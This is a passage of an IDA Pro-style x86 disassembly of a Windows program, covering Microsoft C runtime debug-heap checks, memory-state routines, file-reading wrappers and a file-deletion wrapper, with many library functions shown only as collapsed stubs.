--------------------------------------------------------------------------- loc_41E1C4: ; CODE XREF: sub_41DFF0+1BAj mov dword ptr [ebp+var_2C], offset aDamaged ; "DAMAGED" loc_41E1CB: ; CODE XREF: sub_41DFF0+1D2j push 4 mov al, byte_452A0C push eax mov ecx, [ebp+var_20] add ecx, 1Ch push ecx call _CheckBytes add esp, 0Ch test eax, eax jnz short loc_41E220 loc_41E1E6: ; CODE XREF: sub_41DFF0+227j mov edx, [ebp+var_20] add edx, 20h push edx mov eax, [ebp+var_20] mov ecx, [eax+18h] push ecx mov edx, dword ptr [ebp+var_2C] push edx ; char push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 20h cmp eax, 1 jnz short loc_41E213 int 3 ; Trap to Debugger loc_41E213: ; CODE XREF: sub_41DFF0+220j xor eax, eax test eax, eax jnz short loc_41E1E6 mov [ebp+var_28], 0 loc_41E220: ; CODE XREF: sub_41DFF0+1F4j push 4 mov cl, byte_452A0C push ecx mov edx, [ebp+var_20] mov eax, [edx+10h] mov ecx, [ebp+var_20] lea edx, [ecx+eax+20h] push edx call _CheckBytes add esp, 0Ch test eax, eax jnz short loc_41E27D loc_41E243: ; CODE XREF: sub_41DFF0+284j mov eax, [ebp+var_20] add eax, 20h push eax mov ecx, [ebp+var_20] mov edx, [ecx+18h] push edx mov eax, dword ptr [ebp+var_2C] push eax ; char push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 20h cmp eax, 1 jnz short loc_41E270 int 3 ; Trap to Debugger loc_41E270: ; CODE XREF: sub_41DFF0+27Dj xor ecx, ecx test ecx, ecx jnz short loc_41E243 mov [ebp+var_28], 0 loc_41E27D: ; CODE XREF: sub_41DFF0+251j mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 0 jnz short loc_41E2D6 mov eax, [ebp+var_20] mov ecx, [eax+10h] push ecx mov dl, byte_452A0D push edx mov eax, [ebp+var_20] add eax, 20h push eax call _CheckBytes add esp, 0Ch test eax, eax jnz short loc_41E2D6 loc_41E2A7: ; CODE XREF: sub_41DFF0+2DDj mov ecx, [ebp+var_20] add ecx, 20h push ecx ; char push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."... push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41E2C9 int 3 ; Trap to Debugger loc_41E2C9: ; CODE XREF: sub_41DFF0+2D6j xor edx, edx test edx, edx jnz short loc_41E2A7 mov [ebp+var_28], 0 loc_41E2D6: ; CODE XREF: sub_41DFF0+294j ; sub_41DFF0+2B5j cmp [ebp+var_28], 0 jnz short loc_41E352 mov eax, [ebp+var_20] cmp dword ptr [eax+8], 0 jz short loc_41E318 loc_41E2E5: ; CODE XREF: sub_41DFF0+326j mov ecx, [ebp+var_20] mov edx, [ecx+0Ch] push edx mov eax, [ebp+var_20] mov ecx, [eax+8] push ecx mov edx, dword ptr [ebp+var_2C] push edx ; char push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 20h cmp eax, 1 jnz short loc_41E312 int 3 ; Trap to Debugger loc_41E312: ; CODE XREF: sub_41DFF0+31Fj xor eax, eax test eax, eax jnz short loc_41E2E5 loc_41E318: ; CODE XREF: sub_41DFF0+2F3j ; sub_41DFF0+359j mov ecx, [ebp+var_20] mov edx, [ecx+10h] push edx mov eax, [ebp+var_20] add eax, 20h push eax mov ecx, dword ptr [ebp+var_2C] push ecx ; char push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."... push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 20h cmp eax, 1 jnz short loc_41E345 int 3 ; Trap to Debugger loc_41E345: ; CODE XREF: sub_41DFF0+352j xor edx, edx test edx, edx jnz short loc_41E318 mov [ebp+var_1C], 0 loc_41E352: ; CODE XREF: sub_41DFF0+2EAj jmp loc_41E15F ; --------------------------------------------------------------------------- loc_41E357: ; CODE XREF: sub_41DFF0+159j ; sub_41DFF0+17Bj mov [ebp+var_4], 0FFFFFFFFh call sub_41E365 jmp short loc_41E370 sub_41DFF0 endp ; =============== S U B R O U T I N E ======================================= sub_41E365 proc near ; CODE XREF: sub_41DFF0+36Ep ; DATA XREF: .rdata:0043DAC0o push 9 call __unlock add esp, 4 retn sub_41E365 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41DFF0 loc_41E370: ; CODE XREF: sub_41DFF0+373j mov eax, [ebp+var_1C] loc_41E373: ; CODE XREF: sub_41DFF0+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41DFF0 ; --------------------------------------------------------------------------- off_41E384 dd offset loc_41E0F4 ; DATA XREF: sub_41DFF0+82r dd offset loc_41E0CC dd offset loc_41E0A4 dd offset loc_41E079 align 10h ; [00000022 BYTES: COLLAPSED FUNCTION __CrtSetDbgFlag. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000008D BYTES: COLLAPSED FUNCTION __CrtDoForAllClientObjects. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41E45D. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtDoForAllClientObjects. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004B BYTES: COLLAPSED FUNCTION __CrtIsValidPointer. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E4D0 proc near ; CODE XREF: _realloc_help+1AAp ; sub_41D8A0+9Cp ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_0], 0 jnz short loc_41E4E3 xor eax, eax jmp loc_41E5F0 ; --------------------------------------------------------------------------- loc_41E4E3: ; CODE XREF: sub_41E4D0+Aj push 1 push 20h mov eax, [ebp+arg_0] sub eax, 20h push eax call __CrtIsValidPointer add esp, 0Ch test eax, eax jnz short loc_41E501 xor eax, eax jmp loc_41E5F0 ; --------------------------------------------------------------------------- loc_41E501: ; CODE XREF: sub_41E4D0+28j cmp dword_4F4E6C, 3 jnz short loc_41E56E mov ecx, [ebp+arg_0] sub ecx, 20h push ecx call ___sbh_find_block add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41E53A mov edx, [ebp+arg_0] sub edx, 20h push edx mov eax, [ebp+var_4] push eax call ___sbh_verify_block add esp, 8 jmp loc_41E5F0 ; --------------------------------------------------------------------------- loc_41E53A: ; CODE XREF: sub_41E4D0+50j mov ecx, dword_4F4778 and ecx, 8000h test ecx, ecx jz short loc_41E554 mov eax, 1 jmp loc_41E5F0 ; --------------------------------------------------------------------------- loc_41E554: ; CODE XREF: sub_41E4D0+78j mov edx, [ebp+arg_0] sub edx, 20h push edx push 0 mov eax, dword_4F4E68 push eax call ds:dword_4F64A8 ; HeapValidate jmp loc_41E5F0 ; --------------------------------------------------------------------------- loc_41E56E: ; CODE XREF: sub_41E4D0+38j cmp dword_4F4E6C, 2 jnz short loc_41E5DA lea ecx, [ebp+var_8] push ecx lea edx, [ebp+var_10] push edx mov eax, [ebp+arg_0] sub eax, 20h push eax call ___sbh_find_block_0 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_41E5AD mov ecx, [ebp+var_C] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_41E5A9 mov eax, 1 jmp short loc_41E5F0 ; --------------------------------------------------------------------------- loc_41E5A9: ; CODE XREF: sub_41E4D0+D0j xor eax, eax jmp short loc_41E5F0 ; --------------------------------------------------------------------------- loc_41E5AD: ; CODE XREF: sub_41E4D0+C5j mov eax, dword_4F4778 and eax, 8000h test eax, eax jz short loc_41E5C2 mov eax, 1 jmp short loc_41E5F0 ; --------------------------------------------------------------------------- loc_41E5C2: ; CODE XREF: sub_41E4D0+E9j mov ecx, [ebp+arg_0] sub ecx, 20h push ecx push 0 mov edx, dword_4F4E68 push edx call ds:dword_4F64A8 ; HeapValidate jmp short loc_41E5F0 ; --------------------------------------------------------------------------- loc_41E5DA: ; CODE XREF: sub_41E4D0+A5j mov eax, [ebp+arg_0] sub eax, 20h push eax push 0 mov ecx, dword_4F4E68 push ecx call ds:dword_4F64A8 ; HeapValidate loc_41E5F0: ; CODE XREF: sub_41E4D0+Ej ; sub_41E4D0+2Cj ... mov esp, ebp pop ebp retn sub_41E4D0 endp ; --------------------------------------------------------------------------- align 10h ; [00000106 BYTES: COLLAPSED FUNCTION __CrtIsMemoryBlock. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41E706. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtIsMemoryBlock. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push ecx mov eax, dword_4F5EB8 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4F5EB8, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E750 proc near ; CODE XREF: __CrtDumpMemoryLeaks+Dp var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041E8E3 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43DB30 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_41E7A4 loc_41E779: ; CODE XREF: sub_41E750+4Dj push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"... push offset aS_33 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41E799 int 3 ; Trap to Debugger loc_41E799: ; CODE XREF: sub_41E750+46j xor eax, eax test eax, eax jnz short loc_41E779 jmp loc_41E8E3 ; --------------------------------------------------------------------------- loc_41E7A4: ; CODE XREF: sub_41E750+27j push 9 call __lock add esp, 4 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] mov edx, dword_4F4768 mov [ecx], edx mov [ebp+var_1C], 0 jmp short loc_41E7D2 ; --------------------------------------------------------------------------- loc_41E7C9: ; CODE XREF: sub_41E750+A4j mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax loc_41E7D2: ; CODE XREF: sub_41E750+77j cmp [ebp+var_1C], 5 jge short loc_41E7F6 mov ecx, [ebp+var_1C] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4+18h], 0 mov eax, [ebp+var_1C] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4+4], 0 jmp short loc_41E7C9 ; --------------------------------------------------------------------------- loc_41E7F6: ; CODE XREF: sub_41E750+86j mov edx, dword_4F4768 mov dword ptr [ebp+var_20], edx jmp short loc_41E809 ; --------------------------------------------------------------------------- loc_41E801: ; CODE XREF: sub_41E750:loc_41E8ADj mov eax, dword ptr [ebp+var_20] mov ecx, [eax] mov dword ptr [ebp+var_20], ecx loc_41E809: ; CODE XREF: sub_41E750+AFj cmp dword ptr [ebp+var_20], 0 jz loc_41E8B2 mov edx, dword ptr [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh test eax, eax jl short loc_41E888 mov ecx, dword ptr [ebp+var_20] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 5 jge short loc_41E888 mov eax, dword ptr [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] add eax, 1 mov ecx, dword ptr [ebp+var_20] mov edx, [ecx+14h] and edx, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+edx*4+4], eax mov edx, dword ptr [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+18h] mov eax, dword ptr [ebp+var_20] add edx, [eax+10h] mov ecx, dword ptr [ebp+var_20] mov eax, [ecx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+eax*4+18h], edx jmp short loc_41E8AD ; --------------------------------------------------------------------------- loc_41E888: ; CODE XREF: sub_41E750+D0j ; sub_41E750+E1j ... mov edx, dword ptr [ebp+var_20] push edx ; char push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41E8A7 int 3 ; Trap to Debugger loc_41E8A7: ; CODE XREF: sub_41E750+154j xor eax, eax test eax, eax jnz short loc_41E888 loc_41E8AD: ; CODE XREF: sub_41E750+136j jmp loc_41E801 ; --------------------------------------------------------------------------- loc_41E8B2: ; CODE XREF: sub_41E750+BDj mov ecx, [ebp+arg_0] mov edx, dword_4F4770 mov [ecx+2Ch], edx mov eax, [ebp+arg_0] mov ecx, dword_4F4764 mov [eax+30h], ecx mov [ebp+var_4], 0FFFFFFFFh call sub_41E8D8 jmp short loc_41E8E3 sub_41E750 endp ; =============== S U B R O U T I N E ======================================= sub_41E8D8 proc near ; CODE XREF: sub_41E750+181p ; DATA XREF: .rdata:0043DB38o push 9 call __unlock add esp, 4 retn sub_41E8D8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E750 loc_41E8E3: ; CODE XREF: sub_41E750+4Fj ; sub_41E750+186j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41E750 ; --------------------------------------------------------------------------- align 10h ; [00000123 BYTES: COLLAPSED FUNCTION __CrtMemDifference. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000002B1 BYTES: COLLAPSED FUNCTION __CrtMemDumpAllObjectsSince. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41ECE1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000037 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtMemDumpAllObjectsSince. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000114 BYTES: COLLAPSED FUNCTION __printMemBlockData. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000074 BYTES: COLLAPSED FUNCTION __CrtDumpMemoryLeaks. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000C5 BYTES: COLLAPSED FUNCTION __CrtMemDumpStatistics. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41EFA0(void *DstBuf,size_t ElementSize,size_t Count,FILE *File) sub_41EFA0 proc near ; CODE XREF: sub_4010AB+45p ; sub_40FAEE+4Ep ... var_4 = dword ptr -4 DstBuf = dword ptr 8 ElementSize = dword ptr 0Ch Count = dword ptr 10h File = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+File] push eax call __lock_file add esp, 4 mov ecx, [ebp+File] push ecx ; File mov edx, [ebp+Count] push edx ; Count mov eax, [ebp+ElementSize] push eax ; ElementSize mov ecx, [ebp+DstBuf] push ecx ; DstBuf call _fread add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+File] push edx call __unlock_file add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41EFA0 endp ; --------------------------------------------------------------------------- align 10h ; [000001CF BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FC BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000017 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FF BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000011 BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000129 BYTES: COLLAPSED FUNCTION __atoi64. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000038 BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000013 BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000013 BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E3 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000F BYTES: COLLAPSED FUNCTION __lockexit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000F BYTES: COLLAPSED FUNCTION __unlockexit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000025 BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FA BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000010 BYTES: COLLAPSED FUNCTION _srand. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND] ; [000000F9 BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000242 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDD0 proc near ; CODE XREF: sub_401CC7+76DFp ; sub_401CC7+770Ep ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 File = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_10], ecx loc_41FDE5: ; CODE XREF: sub_41FDD0+3Dj cmp [ebp+arg_0], 0 jnz short loc_41FE09 push offset aStringNull ; "string != NULL" push 0 ; int push 3Bh ; Value push offset aFgets_c ; "fgets.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41FE09 int 3 ; Trap to Debugger loc_41FE09: ; CODE XREF: sub_41FDD0+19j ; sub_41FDD0+36j xor edx, edx test edx, edx jnz short loc_41FDE5 loc_41FE0F: ; CODE XREF: sub_41FDD0+67j cmp [ebp+arg_8], 0 jnz short loc_41FE33 push offset aStrNull ; "str != NULL" push 0 ; int push 3Ch ; Value push offset aFgets_c ; "fgets.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41FE33 int 3 ; Trap to Debugger loc_41FE33: ; CODE XREF: sub_41FDD0+43j ; sub_41FDD0+60j xor eax, eax test eax, eax jnz short loc_41FE0F cmp [ebp+arg_4], 0 jg short loc_41FE46 xor eax, eax jmp loc_41FF07 ; --------------------------------------------------------------------------- loc_41FE46: ; CODE XREF: sub_41FDD0+6Dj mov ecx, [ebp+arg_8] mov [ebp+File], ecx mov edx, [ebp+File] push edx call __lock_file add esp, 4 loc_41FE58: ; CODE XREF: sub_41FDD0:loc_41FEEDj mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_4], 0 jz loc_41FEF2 mov ecx, [ebp+File] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+File] mov [eax+4], edx mov ecx, [ebp+File] cmp dword ptr [ecx+4], 0 jl short loc_41FEA3 mov edx, [ebp+File] mov eax, [edx] movsx ecx, byte ptr [eax] and ecx, 0FFh mov [ebp+var_14], ecx mov edx, [ebp+File] mov eax, [edx] add eax, 1 mov ecx, [ebp+File] mov [ecx], eax jmp short loc_41FEB2 ; --------------------------------------------------------------------------- loc_41FEA3: ; CODE XREF: sub_41FDD0+B1j mov edx, [ebp+File] push edx ; File call __filbuf add esp, 4 mov [ebp+var_14], eax loc_41FEB2: ; CODE XREF: sub_41FDD0+D1j mov eax, [ebp+var_14] mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_41FED1 mov ecx, [ebp+var_8] cmp ecx, [ebp+arg_0] jnz short loc_41FECF mov [ebp+var_10], 0 jmp short loc_41FEF8 ; --------------------------------------------------------------------------- loc_41FECF: ; CODE XREF: sub_41FDD0+F4j jmp short loc_41FEF2 ; --------------------------------------------------------------------------- loc_41FED1: ; CODE XREF: sub_41FDD0+ECj mov edx, [ebp+var_8] mov al, byte ptr [ebp+var_C] mov [edx], al movsx ecx, byte ptr [ebp+var_C] mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx cmp ecx, 0Ah jnz short loc_41FEED jmp short loc_41FEF2 ; --------------------------------------------------------------------------- loc_41FEED: ; CODE XREF: sub_41FDD0+119j jmp loc_41FE58 ; --------------------------------------------------------------------------- loc_41FEF2: ; CODE XREF: sub_41FDD0+95j ; sub_41FDD0:loc_41FECFj ... mov eax, [ebp+var_8] mov byte ptr [eax], 0 loc_41FEF8: ; CODE XREF: sub_41FDD0+FDj mov ecx, [ebp+File] push ecx call __unlock_file add esp, 4 mov eax, [ebp+var_10] loc_41FF07: ; CODE XREF: sub_41FDD0+71j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41FDD0 endp ; --------------------------------------------------------------------------- align 10h ; [0000001B BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000331 BYTES: COLLAPSED FUNCTION _strtoxl. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001B BYTES: COLLAPSED FUNCTION _strtoul. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420290 proc near ; CODE XREF: sub_401CC7+5ADDp ; .text:004202E7p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call ds:dword_4F6388 ; DeleteFileA test eax, eax jnz short loc_4202AD call ds:dword_4F6394 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_4202B4 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420290+10j mov [ebp+var_4], 0 loc_4202B4: ; CODE XREF: sub_420290+1Bj cmp [ebp+var_4], 0 jz short loc_4202CB mov ecx, [ebp+var_4] push ecx call __dosmaperr add esp, 4 or eax, 0FFFFFFFFh jmp short loc_4202CD ; --------------------------------------------------------------------------- loc_4202CB: ; CODE XREF: sub_420290+28j xor eax, eax loc_4202CD: ; CODE XREF: sub_420290+39j mov esp, ebp pop ebp retn sub_420290 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax call sub_420290 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [000000C1 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000038 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000145 BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000F3 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000123 BYTES: COLLAPSED FUNCTION _strncat. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B7 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000135 BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000021 BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push ecx mov eax, dword_4F47BC mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4F47BC, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000135 BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; [00000007 BYTES: COLLAPSED FUNCTION sub_4211B0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION sub_4211C0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION sub_4211D0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000056 BYTES: COLLAPSED FUNCTION _UnwindNestedFrames(EHRegistrationNode *,EHExceptionRecord *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION ___CxxFrameHandler3. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000026 BYTES: COLLAPSED FUNCTION __CxxLongjmpUnwind(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000068 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000039 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000CC BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000081 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000082 BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000A1 BYTES: COLLAPSED FUNCTION operator delete(void *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001C BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B3 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000018 BYTES: COLLAPSED FUNCTION _atexit. 